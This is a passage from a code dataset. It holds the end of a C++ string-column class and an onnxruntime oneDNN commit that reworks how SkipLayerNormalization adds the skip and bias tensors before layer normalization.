Size();\n\tfor (size_t i = 0; i < count; ++i) {\n\t\tconst char* v = Get(i);\n\n\t\t\/\/ Insert keys in sorted order, ignoring duplicates\n\t\tsize_t pos;\n\t\tif (!keys.FindKeyPos(v, pos)) {\n\t\t\tkeys.Insert(pos, v);\n\t\t}\n\t}\n\n\t\/\/ Don't bpther auto enumerating if there are too few duplicates\n\tif (keys.Size() > (count \/ 2)) {\n\t\tkeys.Destroy(); \/\/ cleanup\n\t\treturn false;\n\t}\n\n\t\/\/ Generate enumerated list of entries\n\tColumn values(m_array->GetAllocator());\n\tfor (size_t i = 0; i < count; ++i) {\n\t\tconst char* v = Get(i);\n\n\t\tsize_t pos;\n\t\tconst bool res = keys.FindKeyPos(v, pos);\n\t\tassert(res);\n\n\t\tvalues.Add(pos);\n\t}\n\n\tref_keys   = keys.GetRef();\n\tref_values = values.GetRef();\n\treturn true;\n}\n\n#ifdef _DEBUG\n#include <cstring> \/\/ strcmp()\n\nbool AdaptiveStringColumn::Compare(const AdaptiveStringColumn& c) const {\n\tif (c.Size() != Size()) return false;\n\n\tfor (size_t i = 0; i < Size(); ++i) {\n\t\tconst char* s1 = Get(i);\n\t\tconst char* s2 = c.Get(i);\n\t\tif (strcmp(s1, s2) != 0) return false;\n\t}\n\n\treturn true;\n}\n\nvoid AdaptiveStringColumn::ToDot(FILE* f, bool) const {\n\tm_array->ToDot(f);\n}\n\nMemStats AdaptiveStringColumn::Stats() const {\n\tMemStats stats;\n\n\tif (m_array->IsNode()) {\n\t\tconst Array refs = NodeGetRefs();\n\n\t\tfor (size_t i = 0; i < refs.Size(); ++i) {\n\t\t\tconst size_t r = (size_t)refs.Get(i);\n\t\t\tconst AdaptiveStringColumn col(r);\n\n\t\t\tconst MemStats m = col.Stats();\n\t\t\tstats.Add(m);\n\t\t}\n\n\t\t\/\/ Add node itself\n\t\tconst MemStats m = m_array->Stats();\n\t\tstats.Add(m);\n\t}\n\telse if (IsLongStrings()) {\n\t\tconst MemStats m = ((ArrayStringLong*)m_array)->Stats();\n\t\tstats.Add(m);\n\t}\n\telse {\n\t\tconst MemStats m = ((ArrayString*)m_array)->Stats();\n\t\tstats.Add(m);\n\t}\n\n\treturn stats;\n}\n\n#endif \/\/_DEBUG\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright(C) 2022 Intel Corporation\n\/\/ Licensed under the MIT License\n\n#include \"dnnl_layernorm.h\"\n#include \"dnnl_subgraph.h\"\n#include \"dnnl_subgraph_primitive.h\"\n\nnamespace onnxruntime {\nnamespace ort_dnnl {\n\nDnnlLayerNorm::DnnlLayerNorm() {}\n\n\/*\nLayer Normalization and Skip Layer Normalization implementation:\nLayer Norm:\n  Inputs:\n    0) X - Input Tensor\n    1) G - Gamma Tensor (Scaling factor in the LN formula)\n    2) B - Bias Tensor (Shift value in the LN formula. Optional)\n  Outputs:\n    0) Y - Output Tensor\n    1) M - Mean Tensor (Optional)\n    2) I - Inverse std Tensor (Optional)\n\n               +-----------+\n(X) ---------->+           +----------> (Y)\n               |           |                  \n(G) ---------->+ LayerNorm +----------> (M)\n               |           |     \n(B) ---------->+           +----------> (I) \n               +-----------+                     \n                                                                 \n    \n\nSkip Layer Norm:\n  Inputs:\n    0) X - Input Tensor\n    1) S - Skip Tensor\n    2) G - Gamma Tensor (Scaling factor in the LN formula)\n    4) E - Beta Tensor (Shift value in the LN formula. Optional)\n    4) B - Bias Tensor (Bias when adding X + S. Optional)\n  Outputs:\n    0) Y - Output Tensor\n    1) M - Mean Tensor (Optional)\n    2) I - Inverse std Tensor (Optional)\n\n               +-----------+\n(X) ---------->+           |                   +-----------+\n               |           |   (X + S + B)     |           |         \n(S) ---------->+ BuildSLN  +------------------>+           +----------> (Y)\n               |           |                   |           |\n(B) ---------->+           |      (G) -------->+ LayerNorm +----------> (M)\n               +-----------+                   |           |\n                                  (E) -------->+           +----------> (I)         \n                                               |           |\n                                               +-----------+\n                                 \nAttributes (epsilon)\n*\/\nvoid DnnlLayerNorm::CreatePrimitive(DnnlSubgraphPrimitive& sp, DnnlNode& node) {\n\n  \/\/ Get engine\n  auto dnnl_engine = sp.GetEngine();\n\n  \/\/ Make sure every input's dimension follows the spec\n  ValidateDims(sp, node);\n\n  \/\/ Optional input flag\n  bool shift_exists = false;\n\n  \/\/ Input positions\n  int shift_pos, scale_pos;\n\n  \/\/ Get src mem\n  auto src_mem = sp.GetMemory(node.Input(IN_INPUT));\n  auto src_md = src_mem.get_desc();\n\n  \/\/ This contains the layer norm op and its parameters\n  ln_components op_comps;\n  if (node.OpType() == \"SkipLayerNormalization\") {\n    \n    \/\/ Check if shift is available\n    shift_exists = node.Input(IN_BETA).Exists();\n\n    \/\/ Fix positions for arguments\n    shift_pos = IN_BETA;\n    scale_pos = IN_SLN_GAMMA;\n    \n    \/\/ Build SLN and get modified mem\n    src_mem = BuildSLN(sp, node, dnnl_engine);\n\n  } else if (node.OpType() == \"LayerNormalization\") {\n\n    \/\/ Check if shift is available\n    shift_exists = node.Input(IN_LN_BIAS).Exists();\n\n    \/\/ Fix positions for arguments\n    shift_pos = IN_LN_BIAS;\n    scale_pos = IN_LN_GAMMA;\n\n    \/\/ Move the src to GPU if needed\n    src_mem = sp.GetMemoryAndReshape(node.Input(IN_INPUT), src_mem.get_desc(), dnnl_engine);\n\n  } else {\n    ORT_THROW(\"Unknown LayerNormalization flavor\");\n  }\n\n  \/\/ X = LayerNornm(X)\n  \/\/ Check if we are training and need the extra outputs for backprop\n  dnnl::prop_kind prop_kind;\n#if 0 \/\/defined(ENABLE_TRAINING)\n  prop_kind = dnnl::prop_kind::forward_training;\n#else\n  prop_kind = dnnl::prop_kind::forward_inference;\n#endif  \/\/ ENABLE_TRAINING\n\n  \/\/ If beta is available use shift, else only scale\n  dnnl::normalization_flags op_flags = dnnl::normalization_flags::use_scale;\n  if (shift_exists) {\n    op_flags |= dnnl::normalization_flags::use_shift;\n  }\n\n  \/\/ Get epsilon to avoid zero division\n  float epsilon = GetEpsilon(node);\n  \/\/ Operation desciptor\n  auto lnorm_desc = dnnl::layer_normalization_forward::desc(prop_kind, src_md, epsilon, op_flags);\n  \/\/ Primitive desciptor\n  auto lnorm_pd = dnnl::layer_normalization_forward::primitive_desc(lnorm_desc, dnnl_engine);\n  \/\/ Primitive\n  auto lnorm_prim = dnnl::layer_normalization_forward(lnorm_pd);\n\n  \/\/ Define primitive arguments\n  std::unordered_map<int, dnnl::memory> lnorm_args = {{DNNL_ARG_SRC, src_mem},\n                                                      {DNNL_ARG_DST, src_mem}};\n  \/\/ Get gamma\n  auto gamma_mem = sp.GetMemory(node.Input(scale_pos));\n  gamma_mem = sp.GetMemoryAndReshape(node.Input(scale_pos), gamma_mem.get_desc(), dnnl_engine);\n  if (node.Input(scale_pos).Type() != dnnl::memory::data_type::f32) {\n    \/\/  casting to fp32 if input with other data type\n    auto gamma_md = gamma_mem.get_desc();\n    auto dims = gamma_md.dims();\n    auto strides = gamma_md.data.format_desc.blocking.strides;\n    dnnl::memory::dims gamma_strides_vec;\n    for (size_t i = 0; i < dims.size(); i++) {\n      gamma_strides_vec.push_back(strides[i]);\n    }\n    auto gamma_mem_f32 = CastAndTransformMemory(sp, gamma_mem, dnnl::memory::data_type::f32, gamma_strides_vec);\n    lnorm_args.insert({DNNL_ARG_SCALE, gamma_mem_f32});\n  } else {\n    \/\/  no casting if input with fp32\n    lnorm_args.insert({DNNL_ARG_SCALE, gamma_mem});\n  }\n\n  \/\/ Get Beta and add shift if available\n  if (shift_exists) {\n    auto beta_mem = sp.GetMemory(node.Input(shift_pos));\n    beta_mem = sp.GetMemoryAndReshape(node.Input(shift_pos), beta_mem.get_desc(), dnnl_engine);\n    if (node.Input(shift_pos).Type() != dnnl::memory::data_type::f32) {\n      \/\/  casting to fp32 if input with other data type\n      auto beta_md = beta_mem.get_desc();\n      auto dims = beta_md.dims();\n      auto strides = beta_md.data.format_desc.blocking.strides;\n      dnnl::memory::dims beta_strides_vec;\n      for (size_t i = 0; i < dims.size(); i++) {\n        beta_strides_vec.push_back(strides[i]);\n      }\n      auto beta_mem_f32 = CastAndTransformMemory(sp, beta_mem, dnnl::memory::data_type::f32, beta_strides_vec);\n      lnorm_args.insert({DNNL_ARG_SHIFT, beta_mem_f32});\n    } else {\n      \/\/  no casting if input with fp32\n      lnorm_args.insert({DNNL_ARG_SHIFT, beta_mem});\n    }\n  }\n\n\/\/ Check outputs used for training\n#if 0 \/\/defined(ENABLE_TRAINING)\n  \/\/ If Mean exists\n  if (node.OutputCount() > 1) {\n    if (node.Output(OUT_MEAN).Exists()) {\n      auto mean_mem = dnnl::memory(lnorm_pd.mean_desc(), dnnl_engine);\n      lnorm_args.insert({DNNL_ARG_MEAN, mean_mem});\n      sp.SetMemory(node.Output(OUT_MEAN), mean_mem);\n    }\n    \/\/ If Variance exists\n    if (node.Output(OUT_INV_STD_VAR).Exists()) {\n      auto variance_mem = dnnl::memory(lnorm_pd.variance_desc(), dnnl_engine);\n      lnorm_args.insert({DNNL_ARG_VARIANCE, variance_mem});\n      sp.SetMemory(node.Output(OUT_INV_STD_VAR), variance_mem);\n    }\n  }\n#endif  \/\/ ENABLE_TRAINING\n\n  sp.AddPrimitive(lnorm_prim, lnorm_args);\n\n  sp.SetMemory(node.Output(OUT_OUTPUT), src_mem, true);\n}\n\ndnnl::memory DnnlLayerNorm::BuildSLN(DnnlSubgraphPrimitive& sp, DnnlNode& node, dnnl::engine dnnl_engine) {\n  \/\/ X += SKIP\n  \/\/ Get input and skip info\n  auto input_md = sp.GetMemory(node.Input(IN_INPUT)).get_desc();\n  auto skip_md = sp.GetMemory(node.Input(IN_SKIP)).get_desc();\n  auto skip_dims = skip_md.dims();\n\n  \/\/ Create primitive input map\n  std::unordered_map<int, dnnl::memory> skip_bias_args;\n\n  \/\/ Create md for the add op, according to the spec the output type should be\n  \/\/ the same as the input, so we can support inplace ops\n  auto add_skip_dst_md = dnnl::memory::desc(skip_dims, node.Output(OUT_OUTPUT).Type(), dnnl::memory::format_tag::any);\n  \/\/ Create desc for the op and primitive\n  auto add_skip_d = dnnl::binary::desc(dnnl::algorithm::binary_add, input_md, skip_md, add_skip_dst_md);\n\n  \/\/ Create primitive descriptor container\n  dnnl::binary::primitive_desc add_skip_pd;\n  \/\/ Add post op bias\n  if (node.Input(IN_SLN_BIAS).Exists()) {\n    \/\/ X += BIAS\n    \/\/ Get bias md\n    auto bias_md = sp.GetMemory(node.Input(IN_SLN_BIAS)).get_desc();\n    auto bias_dims = bias_md.dims();\n    \/\/ To follow the spec means our bias will always have less dimensions that our input}\n    \/\/ so we add the extra dimensions, reshape it and let OneDNN broadcast the value\n    while (bias_dims.size() < skip_dims.size()) {\n      bias_dims.insert(bias_dims.begin(), 1);\n    }\n    bias_md = bias_md.reshape(bias_dims);\n\n    dnnl::post_ops bias_add;\n    dnnl::primitive_attr binary_attr;\n    bias_add.append_binary(dnnl::algorithm::binary_add, bias_md);\n    binary_attr.set_post_ops(bias_add);\n    \/\/ Add post op to scale result\n    add_skip_pd = dnnl::binary::primitive_desc(add_skip_d, binary_attr, dnnl_engine);\n\n    \/\/ Get bias mem\n    auto bias_mem = sp.GetMemoryAndReshape(node.Input(IN_SLN_BIAS), bias_md, dnnl_engine);\n    \/\/ Add bias arg\n    skip_bias_args.insert({DNNL_ARG_ATTR_MULTIPLE_POST_OP(0) | DNNL_ARG_SRC_1, bias_mem});\n\n  } else {\n    add_skip_pd = dnnl::binary::primitive_desc(add_skip_d, dnnl_engine);\n  }\n\n  \/\/ Move the memory to the target device\n  auto src_mem = sp.GetMemoryAndReshape(node.Input(IN_INPUT), add_skip_pd.src0_desc(), dnnl_engine);\n  auto skip_mem = sp.GetMemoryAndReshape(node.Input(IN_SKIP), add_skip_pd.src1_desc(), dnnl_engine);\n\n  \/\/ Add args\n  skip_bias_args.insert({DNNL_ARG_SRC_0, src_mem});\n  skip_bias_args.insert({DNNL_ARG_SRC_1, skip_mem});\n  skip_bias_args.insert({DNNL_ARG_DST, src_mem});\n\n  \/\/ Create and add primitive\n  auto add_skip_prim = dnnl::binary(add_skip_pd);\n  sp.AddPrimitive(add_skip_prim, skip_bias_args);\n\n  \/\/ Return src\n  return src_mem;\n}\n\nvoid DnnlLayerNorm::ValidateDims(DnnlSubgraphPrimitive& sp, DnnlNode& node) {\n  \/\/ Get input and evaluate\n  auto input_dims = sp.GetMemory(node.Input(IN_INPUT)).get_desc().dims();\n  auto input_dims_size = input_dims.size();\n\n  \/\/ Check the inputs are supported by OneDNN, this is mandatory since sometimes\n  \/\/ we can't check the input size in the node capability\n  if ((input_dims_size > 5) || (input_dims_size < 2)) {\n    ORT_THROW(\"Input tensor dimensionality is not supported by OneDNN, got \", input_dims_size);\n  }\n\n  \/\/ To make this function compliant with all possible layernorm flavors,\n  \/\/ define gamma and shift input position, depending on the operation\n  int gamma_pos, shift_pos;\n  if (node.OpType() == \"SkipLayerNormalization\") {\n    \/\/ For SkipLayerNorm the spec defines the input as a 3D tensor\n    if (input_dims_size != 3) {\n      \/\/ We support 2D arrays but the expected is 3D\n      ORT_THROW(\"Input tensor is expected to have 3 dimensions, got \", input_dims_size);\n    }\n\n    \/\/ Get skip and evaluate\n    auto skip_dims = sp.GetMemory(node.Input(IN_SKIP)).get_desc().dims();\n    if (input_dims != skip_dims) {\n      ORT_THROW(\"Input and skip dimmentions do not match\");\n    }\n\n    \/\/ Check if bias was provided and evaluate\n    if (node.Input(IN_SLN_BIAS).Exists()) {\n      auto bias_dims = sp.GetMemory(node.Input(IN_SLN_BIAS)).get_desc().dims();\n      if (bias_dims.size() != 1) {\n        ORT_THROW(\"Bias is expected to have 1 dimension, got \", bias_dims.size());\n      }\n      if (bias_dims[0] != input_dims[2]) {\n        ORT_THROW(\"Last dimension of bias and input does not match\");\n      }\n    }\n\n    \/\/ Define the input position when using SLN\n    gamma_pos = IN_SLN_GAMMA;\n    shift_pos = IN_BETA;\n\n  \/\/ If the op is LayerNorm\n  } else{\n    \/\/ Define the input position when using LN\n    gamma_pos = IN_LN_GAMMA;\n    shift_pos = IN_LN_BIAS;\n  }\n\n  \/\/ Get gamma and evaluate\n  auto gamma_dims = sp.GetMemory(node.Input(gamma_pos)).get_desc().dims();\n  if (gamma_dims.size() != 1) {\n    ORT_THROW(\"Gamma is expected to have 1 dimension, got \", gamma_dims.size());\n  }\n  if (gamma_dims[0] != input_dims[input_dims_size - 1]) {\n    ORT_THROW(\"Last dimension of gamma and input does not match\");\n  }\n\n  \/\/ Check if shift was provided and evaluate\n  if (node.Input(shift_pos).Exists()) {\n    auto beta_dims = sp.GetMemory(node.Input(shift_pos)).get_desc().dims();\n    if (beta_dims.size() != 1) {\n      ORT_THROW(\"Beta is expected to have 1 dimension, got \", beta_dims.size());\n    }\n    if (beta_dims[0] != input_dims[input_dims_size - 1]) {\n      ORT_THROW(\"Last dimension of beta and input does not match\");\n    }\n  }\n}\n\nfloat DnnlLayerNorm::GetEpsilon(DnnlNode& node) {\n  auto attr = node.Attributes().find(\"epsilon\");\n  float epsilon = 1e-05f;  \/\/ Default value according to ONNX spec\n  if (attr != node.Attributes().end() &&\n      attr->second().type() == ::ONNX_NAMESPACE::AttributeProto_AttributeType::AttributeProto_AttributeType_FLOAT) {\n    epsilon = attr->second().f();\n  }\n  return epsilon;\n}\n\ndnnl::memory DnnlLayerNorm::CastAndTransformMemory(DnnlSubgraphPrimitive& sp, dnnl::memory& src_mem, dnnl::memory::data_type dst_datatype, dnnl::memory::dims dst_strides) {\n  dnnl::memory dst_mem;\n  {\n    auto eng = sp.GetEngine();\n\n    \/\/ Make a new memory descriptor based on the source descriptor and given destination dataype and strides\n    auto src_md = src_mem.get_desc();\n    dnnl::memory::desc dst_md = dnnl::memory::desc(src_md.dims(), dst_datatype, dst_strides);\n    dst_mem = dnnl::memory(dst_md, eng);\n\n    \/\/ Reorder source memory to destination memory as per the given dataype and strides\n    auto reorder_pd = dnnl::reorder::primitive_desc(eng, src_md, eng, dst_md);\n    auto reorder = dnnl::reorder(reorder_pd);\n    std::unordered_map<int, dnnl::memory> reorder_mem_map({{DNNL_ARG_FROM, src_mem}, {DNNL_ARG_TO, dst_mem}});\n    sp.AddPrimitive(reorder, reorder_mem_map);\n  }\n  return dst_mem;\n}\n\n}  \/\/ namespace ort_dnnl\n}  \/\/ namespace onnxruntime<commit_msg>[oneDNN ep] SLN performance improvement for bias (#13620)<commit_after>\/\/ Copyright(C) 2022 Intel Corporation\n\/\/ Licensed under the MIT License\n\n#include \"dnnl_layernorm.h\"\n#include \"dnnl_subgraph.h\"\n#include \"dnnl_subgraph_primitive.h\"\n\nnamespace onnxruntime {\nnamespace ort_dnnl {\n\nDnnlLayerNorm::DnnlLayerNorm() {}\n\n\/*\nLayer Normalization and Skip Layer Normalization implementation:\nLayer Norm:\n  Inputs:\n    0) X - Input Tensor\n    1) G - Gamma Tensor (Scaling factor in the LN formula)\n    2) B - Bias Tensor (Shift value in the LN formula. Optional)\n  Outputs:\n    0) Y - Output Tensor\n    1) M - Mean Tensor (Optional)\n    2) I - Inverse std Tensor (Optional)\n\n               +-----------+\n(X) ---------->+           +----------> (Y)\n               |           |                  \n(G) ---------->+ LayerNorm +----------> (M)\n               |           |     \n(B) ---------->+           +----------> (I) \n               +-----------+                     \n                                                                 \n    \n\nSkip Layer Norm:\n  Inputs:\n    0) X - Input Tensor\n    1) S - Skip Tensor\n    2) G - Gamma Tensor (Scaling factor in the LN formula)\n    4) E - Beta Tensor (Shift value in the LN formula. Optional)\n    4) B - Bias Tensor (Bias when adding X + S. Optional)\n  Outputs:\n    0) Y - Output Tensor\n    1) M - Mean Tensor (Optional)\n    2) I - Inverse std Tensor (Optional)\n\n(X) ---------->+-----------+\n               |    Add    |\n(S) ---------->+-----------+\n                     |                           +-----------+\n                     |              (X + S + B)  |           |\n                     +-----------+-------------->+           +----------> (Y)\n                     |    Add    |               |           |\n(B) ---------------->+-----------+   (G) ------->+ LayerNorm +----------> (M)\n                                                 |           |\n                                     (E) ------->+           +----------> (I)\n                                                 |           |\n                                                 +-----------+\n                                 \nAttributes (epsilon)\n*\/\nvoid DnnlLayerNorm::CreatePrimitive(DnnlSubgraphPrimitive& sp, DnnlNode& node) {\n\n  \/\/ Get engine\n  auto dnnl_engine = sp.GetEngine();\n\n  \/\/ Make sure every input's dimension follows the spec\n  ValidateDims(sp, node);\n\n  \/\/ Optional input flag\n  bool shift_exists = false;\n\n  \/\/ Input positions\n  int shift_pos, scale_pos;\n\n  \/\/ Get src desc\n  auto src_md = sp.GetMemory(node.Input(IN_INPUT)).get_desc();\n\n  \/\/ Init src mem\n  dnnl::memory src_mem;\n\n  \/\/ This contains the layer norm op and its parameters\n  ln_components op_comps;\n  if (node.OpType() == \"SkipLayerNormalization\") {\n    \n    \/\/ Check if shift is available\n    shift_exists = node.Input(IN_BETA).Exists();\n\n    \/\/ Fix positions for arguments\n    shift_pos = IN_BETA;\n    scale_pos = IN_SLN_GAMMA;\n\n    \/\/ Move the src to GPU if needed\n    src_mem = sp.GetMemoryAndReshape(node.Input(IN_INPUT), src_md, dnnl_engine);\n\n    \/\/ Make dst desc, must be same as src\n    auto dst_md = dnnl::memory::desc(src_md.dims(), node.Output(OUT_OUTPUT).Type(), dnnl::memory::format_tag::any);\n\n    \/\/ Add src + skip\n    {\n\n      \/\/ get skip desc\n      auto skip_md = sp.GetMemory(node.Input(IN_SKIP)).get_desc();\n      \/\/ Move the skip to GPU if needed\n      auto skip_mem = sp.GetMemoryAndReshape(node.Input(IN_SKIP), skip_md, dnnl_engine);\n\n      \/\/ Create and add primitive\n      auto add_skip_d = dnnl::binary::desc(dnnl::algorithm::binary_add, src_md, skip_md, dst_md);\n      auto add_skip_pd = dnnl::binary::primitive_desc(add_skip_d, dnnl_engine);\n      auto add_skip = dnnl::binary(add_skip_pd);\n      std::unordered_map<int, dnnl::memory> add_skip_mem_map({{DNNL_ARG_SRC_0, src_mem}, {DNNL_ARG_SRC_1, skip_mem}, {DNNL_ARG_DST, src_mem}});\n      sp.AddPrimitive(add_skip, add_skip_mem_map);\n\n    }\n\n    \/\/ Add src + skip + bias\n    if (node.Input(IN_SLN_BIAS).Exists()) {\n\n      \/\/ get bias desc\n      auto bias_md = sp.GetMemory(node.Input(IN_SLN_BIAS)).get_desc();\n      \/\/ Move the bias to GPU if needed\n      auto bias_mem = sp.GetMemoryAndReshape(node.Input(IN_SLN_BIAS), bias_md, dnnl_engine);\n      \/\/ Get bias dims\n      auto bias_dims = bias_md.dims();\n      \/\/ Get src dims\n      auto src_dims = src_md.dims();\n\n      \/\/ To follow the spec means our bias will always have less dimensions that our input\n      \/\/ so we add the extra dimensions, reshape it and let OneDNN broadcast the value\n      while (bias_dims.size() < src_dims.size()) {\n        bias_dims.insert(bias_dims.begin(), 1);\n      }\n      bias_md = bias_md.reshape(bias_dims);\n\n      \/\/ Create and add primitive\n      auto add_bias_d = dnnl::binary::desc(dnnl::algorithm::binary_add, src_md, bias_md, dst_md);\n      auto add_bias_pd = dnnl::binary::primitive_desc(add_bias_d, dnnl_engine);\n      auto add_bias = dnnl::binary(add_bias_pd);\n      std::unordered_map<int, dnnl::memory> add_bias_mem_map({{DNNL_ARG_SRC_0, src_mem}, {DNNL_ARG_SRC_1, bias_mem}, {DNNL_ARG_DST, src_mem}});\n      sp.AddPrimitive(add_bias, add_bias_mem_map);\n\n    }\n\n  } else if (node.OpType() == \"LayerNormalization\") {\n\n    \/\/ Check if shift is available\n    shift_exists = node.Input(IN_LN_BIAS).Exists();\n\n    \/\/ Fix positions for arguments\n    shift_pos = IN_LN_BIAS;\n    scale_pos = IN_LN_GAMMA;\n\n    \/\/ Move the src to GPU if needed\n    src_mem = sp.GetMemoryAndReshape(node.Input(IN_INPUT), src_md, dnnl_engine);\n\n  } else {\n    ORT_THROW(\"Unknown LayerNormalization flavor\");\n  }\n\n  \/\/ X = LayerNornm(X)\n  \/\/ Check if we are training and need the extra outputs for backprop\n  dnnl::prop_kind prop_kind;\n#if 0 \/\/defined(ENABLE_TRAINING)\n  prop_kind = dnnl::prop_kind::forward_training;\n#else\n  prop_kind = dnnl::prop_kind::forward_inference;\n#endif  \/\/ ENABLE_TRAINING\n\n  \/\/ If beta is available use shift, else only scale\n  dnnl::normalization_flags op_flags = dnnl::normalization_flags::use_scale;\n  if (shift_exists) {\n    op_flags |= dnnl::normalization_flags::use_shift;\n  }\n\n  \/\/ Get epsilon to avoid zero division\n  float epsilon = GetEpsilon(node);\n  \/\/ Operation desciptor\n  auto lnorm_desc = dnnl::layer_normalization_forward::desc(prop_kind, src_md, epsilon, op_flags);\n  \/\/ Primitive desciptor\n  auto lnorm_pd = dnnl::layer_normalization_forward::primitive_desc(lnorm_desc, dnnl_engine);\n  \/\/ Primitive\n  auto lnorm_prim = dnnl::layer_normalization_forward(lnorm_pd);\n\n  \/\/ Define primitive arguments\n  std::unordered_map<int, dnnl::memory> lnorm_args = {{DNNL_ARG_SRC, src_mem},\n                                                      {DNNL_ARG_DST, src_mem}};\n  \/\/ Get gamma\n  auto gamma_mem = sp.GetMemory(node.Input(scale_pos));\n  gamma_mem = sp.GetMemoryAndReshape(node.Input(scale_pos), gamma_mem.get_desc(), dnnl_engine);\n  if (node.Input(scale_pos).Type() != dnnl::memory::data_type::f32) {\n    \/\/  casting to fp32 if input with other data type\n    auto gamma_md = gamma_mem.get_desc();\n    auto dims = gamma_md.dims();\n    auto strides = gamma_md.data.format_desc.blocking.strides;\n    dnnl::memory::dims gamma_strides_vec;\n    for (size_t i = 0; i < dims.size(); i++) {\n      gamma_strides_vec.push_back(strides[i]);\n    }\n    auto gamma_mem_f32 = CastAndTransformMemory(sp, gamma_mem, dnnl::memory::data_type::f32, gamma_strides_vec);\n    lnorm_args.insert({DNNL_ARG_SCALE, gamma_mem_f32});\n  } else {\n    \/\/  no casting if input with fp32\n    lnorm_args.insert({DNNL_ARG_SCALE, gamma_mem});\n  }\n\n  \/\/ Get Beta and add shift if available\n  if (shift_exists) {\n    auto beta_mem = sp.GetMemory(node.Input(shift_pos));\n    beta_mem = sp.GetMemoryAndReshape(node.Input(shift_pos), beta_mem.get_desc(), dnnl_engine);\n    if (node.Input(shift_pos).Type() != dnnl::memory::data_type::f32) {\n      \/\/  casting to fp32 if input with other data type\n      auto beta_md = beta_mem.get_desc();\n      auto dims = beta_md.dims();\n      auto strides = beta_md.data.format_desc.blocking.strides;\n      dnnl::memory::dims beta_strides_vec;\n      for (size_t i = 0; i < dims.size(); i++) {\n        beta_strides_vec.push_back(strides[i]);\n      }\n      auto beta_mem_f32 = CastAndTransformMemory(sp, beta_mem, dnnl::memory::data_type::f32, beta_strides_vec);\n      lnorm_args.insert({DNNL_ARG_SHIFT, beta_mem_f32});\n    } else {\n      \/\/  no casting if input with fp32\n      lnorm_args.insert({DNNL_ARG_SHIFT, beta_mem});\n    }\n  }\n\n\/\/ Check outputs used for training\n#if 0 \/\/defined(ENABLE_TRAINING)\n  \/\/ If Mean exists\n  if (node.OutputCount() > 1) {\n    if (node.Output(OUT_MEAN).Exists()) {\n      auto mean_mem = dnnl::memory(lnorm_pd.mean_desc(), dnnl_engine);\n      lnorm_args.insert({DNNL_ARG_MEAN, mean_mem});\n      sp.SetMemory(node.Output(OUT_MEAN), mean_mem);\n    }\n    \/\/ If Variance exists\n    if (node.Output(OUT_INV_STD_VAR).Exists()) {\n      auto variance_mem = dnnl::memory(lnorm_pd.variance_desc(), dnnl_engine);\n      lnorm_args.insert({DNNL_ARG_VARIANCE, variance_mem});\n      sp.SetMemory(node.Output(OUT_INV_STD_VAR), variance_mem);\n    }\n  }\n#endif  \/\/ ENABLE_TRAINING\n\n  sp.AddPrimitive(lnorm_prim, lnorm_args);\n\n  sp.SetMemory(node.Output(OUT_OUTPUT), src_mem, true);\n}\n\nvoid DnnlLayerNorm::ValidateDims(DnnlSubgraphPrimitive& sp, DnnlNode& node) {\n  \/\/ Get input and evaluate\n  auto input_dims = sp.GetMemory(node.Input(IN_INPUT)).get_desc().dims();\n  auto input_dims_size = input_dims.size();\n\n  \/\/ Check the inputs are supported by OneDNN, this is mandatory since sometimes\n  \/\/ we can't check the input size in the node capability\n  if ((input_dims_size > 5) || (input_dims_size < 2)) {\n    ORT_THROW(\"Input tensor dimensionality is not supported by OneDNN, got \", input_dims_size);\n  }\n\n  \/\/ To make this function compliant with all possible layernorm flavors,\n  \/\/ define gamma and shift input position, depending on the operation\n  int gamma_pos, shift_pos;\n  if (node.OpType() == \"SkipLayerNormalization\") {\n    \/\/ For SkipLayerNorm the spec defines the input as a 3D tensor\n    if (input_dims_size != 3) {\n      \/\/ We support 2D arrays but the expected is 3D\n      ORT_THROW(\"Input tensor is expected to have 3 dimensions, got \", input_dims_size);\n    }\n\n    \/\/ Get skip and evaluate\n    auto skip_dims = sp.GetMemory(node.Input(IN_SKIP)).get_desc().dims();\n    if (input_dims != skip_dims) {\n      ORT_THROW(\"Input and skip dimmentions do not match\");\n    }\n\n    \/\/ Check if bias was provided and evaluate\n    if (node.Input(IN_SLN_BIAS).Exists()) {\n      auto bias_dims = sp.GetMemory(node.Input(IN_SLN_BIAS)).get_desc().dims();\n      if (bias_dims.size() != 1) {\n        ORT_THROW(\"Bias is expected to have 1 dimension, got \", bias_dims.size());\n      }\n      if (bias_dims[0] != input_dims[2]) {\n        ORT_THROW(\"Last dimension of bias and input does not match\");\n      }\n    }\n\n    \/\/ Define the input position when using SLN\n    gamma_pos = IN_SLN_GAMMA;\n    shift_pos = IN_BETA;\n\n  \/\/ If the op is LayerNorm\n  } else{\n    \/\/ Define the input position when using LN\n    gamma_pos = IN_LN_GAMMA;\n    shift_pos = IN_LN_BIAS;\n  }\n\n  \/\/ Get gamma and evaluate\n  auto gamma_dims = sp.GetMemory(node.Input(gamma_pos)).get_desc().dims();\n  if (gamma_dims.size() != 1) {\n    ORT_THROW(\"Gamma is expected to have 1 dimension, got \", gamma_dims.size());\n  }\n  if (gamma_dims[0] != input_dims[input_dims_size - 1]) {\n    ORT_THROW(\"Last dimension of gamma and input does not match\");\n  }\n\n  \/\/ Check if shift was provided and evaluate\n  if (node.Input(shift_pos).Exists()) {\n    auto beta_dims = sp.GetMemory(node.Input(shift_pos)).get_desc().dims();\n    if (beta_dims.size() != 1) {\n      ORT_THROW(\"Beta is expected to have 1 dimension, got \", beta_dims.size());\n    }\n    if (beta_dims[0] != input_dims[input_dims_size - 1]) {\n      ORT_THROW(\"Last dimension of beta and input does not match\");\n    }\n  }\n}\n\nfloat DnnlLayerNorm::GetEpsilon(DnnlNode& node) {\n  auto attr = node.Attributes().find(\"epsilon\");\n  float epsilon = 1e-05f;  \/\/ Default value according to ONNX spec\n  if (attr != node.Attributes().end() &&\n      attr->second().type() == ::ONNX_NAMESPACE::AttributeProto_AttributeType::AttributeProto_AttributeType_FLOAT) {\n    epsilon = attr->second().f();\n  }\n  return epsilon;\n}\n\ndnnl::memory DnnlLayerNorm::CastAndTransformMemory(DnnlSubgraphPrimitive& sp, dnnl::memory& src_mem, dnnl::memory::data_type dst_datatype, dnnl::memory::dims dst_strides) {\n  dnnl::memory dst_mem;\n  {\n    auto eng = sp.GetEngine();\n\n    \/\/ Make a new memory descriptor based on the source descriptor and given destination dataype and strides\n    auto src_md = src_mem.get_desc();\n    dnnl::memory::desc dst_md = dnnl::memory::desc(src_md.dims(), dst_datatype, dst_strides);\n    dst_mem = dnnl::memory(dst_md, eng);\n\n    \/\/ Reorder source memory to destination memory as per the given dataype and strides\n    auto reorder_pd = dnnl::reorder::primitive_desc(eng, src_md, eng, dst_md);\n    auto reorder = dnnl::reorder(reorder_pd);\n    